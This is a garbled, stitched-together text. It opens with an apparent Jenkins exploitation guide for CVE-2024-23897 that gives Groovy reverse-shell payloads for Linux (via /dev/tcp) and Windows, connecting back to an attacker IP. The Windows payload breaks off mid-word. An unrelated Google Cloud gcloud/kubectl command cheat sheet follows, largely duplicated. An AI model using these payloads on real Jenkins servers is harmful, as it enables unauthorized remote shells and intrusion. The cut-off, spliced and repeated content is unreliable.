Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea
Google Cloud resources can be managed in multiple ways. It can be done using Cloud Console, SDK or by using Cloud Shell.
A few basic Google Cloud shell commands are listed below.
1) List the active account name
gcloud auth list
2) List the project ID
gcloud config list project
3) Create a new instance using Gcloud shell
gcloud compute instances create [INSTANCE_NAME] --machine-type n1-standard-2 --zone [ZONE_NAME]
A few basic Google Cloud shell commands are listed below.
1) List the active account name
gcloud auth list
2) List the project ID
gcloud config list project
3) Create a new instance using Gcloud shell
gcloud compute instances create [INSTANCE_NAME] --machine-type n1-standard-2 --zone [ZONE_NAME]
Use gcloud compute machine-types list to view a list of machine types available in particular zone. If the additional parameters, such as a zone is not specified, Google Cloud will use the information from your default project. To view the default project information, use gcloud compute project-info describe
4) SSH in to the machine
gcloud compute ssh [INSTANCE_NAME] --zone [YOUR_ZONE]
5) RDP a windows server
gcloud compute instances get-serial-port-output [INSTANCE_NAME] --zone [ZONE_NAME]
6) Command to check whether the server is ready for an RDP connection
gcloud compute instances get-serial-port-output
7) Create a Storage bucket
gsutil mb gs://[BUCKET_NAME]
8) Copy a file in to the bucket
gsutil cp [FILE_NAME] gs://[BUCKET_NAME]
9) Setting up default compute zone
gcloud config set compute/zone [ZONE_NAME]
10) Set the default region:
gcloud config set compute/region [REGION_NAME]
11) List the compute engine instances created:
gcloud compute instances list
12) Create Kubernetes Cluster
gcloud container clusters create [CLUSTER-NAME]
13) Get authentication credentials for the cluster
gcloud container clusters get-credentials [CLUSTER-NAME]
14) Expose the Kubernetes resource to the internet
kubectl expose deployment hello-server --type="LoadBalancer"
!----- Passing in type="LoadBalancer" creates a Compute Engine load balancer for your container-----!
15) Inspect the service running in Kubernetes
kubectl get service [SERVICE_NAME]
16) Stop an Compute Instance.
gcloud compute instances stop [INSTANCE-NAME]
About Serverless Computing Offering by Google Cloud, Continue reading here
gcloud compute ssh [INSTANCE_NAME] --zone [YOUR_ZONE]
5) RDP a windows server
gcloud compute instances get-serial-port-output [INSTANCE_NAME] --zone [ZONE_NAME]
6) Command to check whether the server is ready for an RDP connection
gcloud compute instances get-serial-port-output
7) Create a Storage bucket
gsutil mb gs://[BUCKET_NAME]
8) Copy a file in to the bucket
gsutil cp [FILE_NAME] gs://[BUCKET_NAME]
9) Setting up default compute zone
gcloud config set compute/zone [ZONE_NAME]
10) Set the default region:
gcloud config set compute/region [REGION_NAME]
11) List the compute engine instances created:
gcloud compute instances list
12) Create Kubernetes Cluster
gcloud container clusters create [CLUSTER-NAME]
13) Get authentication credentials for the cluster
gcloud container clusters get-credentials [CLUSTER-NAME]
14) Expose the Kubernetes resource to the internet
kubectl expose deployment hello-server --type="LoadBalancer"
!----- Passing in type="LoadBalancer" creates a Compute Engine load balancer for your container-----!
15) Inspect the service running in Kubernetes
kubectl get service [SERVICE_NAME]
16) Stop an Compute Instance.
gcloud compute instances stop [INSTANCE-NAME]
About Serverless Computing Offering by Google Cloud, Continue reading here